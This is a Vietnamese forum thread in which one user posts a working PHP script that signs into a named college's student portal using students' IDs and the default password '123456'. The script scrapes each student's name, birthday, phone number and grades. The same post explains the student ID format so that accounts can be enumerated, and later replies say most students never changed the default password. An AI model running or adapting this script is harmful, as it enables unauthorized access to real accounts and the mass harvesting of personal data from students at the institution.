Share1200028852225632147.0

4 bài đăng
04.04.2020 / 14:03
mad
Bài đăng: 2434
Member
Nhào vô cắn tao đi, tao sợ mày à cắn bừa.
PHP
  1. <?php
  2. header("Content-type: application/javascript; charset=UTF-8");
  3. function getparma($mssv){
  4. $data=file_get_contents("http://tgc.edu.vn/Sinhvien.aspx");
  5. $gp=preg_split("<form(.+?)\">",$data);
  6. $gp=explode("</form>",$gp[2]);
  7. $gs=explode("<input",$gp[0]);
  8. $ee="";
  9. for($i=1;$i<count($gs);$i++){
  10. $da=explode("/>",$gs[$i]);
  11. $name=explode("name=\"",$da[0]);
  12. $name=explode("\"",$name[1]);
  13. if($name[0]!='ctl00$ContentPlaceHolder1$txtPass' and $name[0]!='ctl00$ContentPlaceHolder1$txtUser'){
  14. $vals=explode("value=\"",$da[0]);
  15. $vals=explode("\"",$vals[1]);
  16. }
  17. if($name[0]=='ctl00$ContentPlaceHolder1$txtPass'){
  18. $vala="123456";
  19. }elseif($name[0]=='ctl00$ContentPlaceHolder1$txtUser'){
  20. $vala=$mssv;
  21. }else{
  22. $vala=$vals[0];
  23. }
  24. $ee.="\"".$name[0]."\":\"".$vala."\"";
  25. if($i<count($gs)-1){
  26. $ee.=",";
  27. }
  28. }
  29. return json_decode("{".$ee."}",true);
  30. }
  31. function curl($mssv){
  32. $param = getparma($mssv);
  33. $url = 'http://tgc.edu.vn/Sinhvien.aspx';
  34. $ch = curl_init($url);
  35. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  36. curl_setopt($ch, CURLOPT_POST, count($param));
  37. curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
  38. $data = curl_exec($ch);
  39. curl_close($ch);
  40. if(preg_match("/<div id=\"ContentPlaceHolder1_PanelSV_Info\">/",$data,$matches)){
  41. $info=explode("<div id=\"ContentPlaceHolder1_PanelSV_Info\">",$data);
  42. $profile=explode("<table>",$info[1]);
  43. $profile=explode("</table>",$profile[0]);
  44. $mssv=explode("<span id=\"ContentPlaceHolder1_lblMaso\">",$profile[0]);
  45. $mssv=explode("</span>",$mssv[1]);
  46. $name=explode("<span id=\"ContentPlaceHolder1_lblHovaten\">",$profile[0]);
  47. $name=explode("</span>",$name[1]);
  48. $birthday=explode("<span id=\"ContentPlaceHolder1_lblNgaysinh\">",$profile[0]);
  49. $birthday=explode("</span>",$birthday[1]);
  50. $phone=explode("<span id=\"ContentPlaceHolder1_lblDienthoai\">",$profile[0]);
  51. $phone=explode("</span>",$phone[1]);
  52. $mark=preg_split('/<table(.+?)id\=\"ContentPlaceHolder1_GridViewKQHT\"(.+?)>/',$info[1]);
  53. $mark=explode("</table>",$mark[1]);
  54. $rows=preg_split("/<tr bgcolor=\"(.+?)\">/",$mark[0]);
  55. $fm=array();
  56. for($i=1; $i<count($rows);$i++){
  57. $fm[$i-1]=array();
  58. $rs=explode("</tr>",$rows[$i]);
  59. //echo $rs[0];
  60. if($i==1){
  61. $ft=explode('<th scope="col"><font color="White"><b>',$rs[0]);
  62. for($j=1;$j<count($ft)-1;$j++){
  63. $um=explode("</b></font></th>",$ft[$j]);
  64. $fm[$i-1][$j-1]=$um[0];
  65. }
  66. }else{
  67. $fd=preg_split("/<td(.+?)><font color=\"(.+?)\">/",$rs[0]);
  68. for($j=1;$j<count($fd)-1;$j++){
  69. $um=explode("</font></td>",$fd[$j]);
  70. $fm[$i-1][$j-1]=$um[0];
  71. }
  72. }
  73. }
  74. return array(
  75. "info"=>array(
  76. "id"=>$mssv[0],
  77. "name"=>$name[0],
  78. "birthday"=>$birthday[0],
  79. "phone"=>$phone[0]
  80. ),
  81. "mark"=>$fm
  82. );
  83. }
  84. }
  85. if($_GET){
  86. $id=$_GET["id"];
  87. echo json_encode(curl($id));
  88. }

biết làm gì rồi đó

user: (CNT|ĐCN|MTT|CNO|KTD|VSL|KTL|KTX)(17|18|19|20)(a|c)(1|2|3|4|5|6|7)(01-99)

-------Mã lớp-----------------------------------------------Niên Khóa---(***)-(****)-----------(*****)

(***) a -> cao đẳng b -> trung cấp

(****) số lớp phân chia gồm bao nhiêu lớp của nghề

(*****) số id của sinh viên

Example user: CNT19c101

pass default 123456

04.04.2020 / 17:59
MrKen
Bài đăng: 2653
Trùm!
Vẫn là A N H

cái này ông nào chưa đổi pass mới dính thôi =))

04.04.2020 / 18:13
mad
Bài đăng: 2434
Member
Nhào vô cắn tao đi, tao sợ mày à cắn bừa.

Mà đa số chưa đổi

04.04.2020 / 19:12
hanhphucao
Bài đăng: 2470
Admin
Admin là người tận tâm và luôn hành xử đúng mực.

Tưởng tìm ra lỗ hổng reset password :v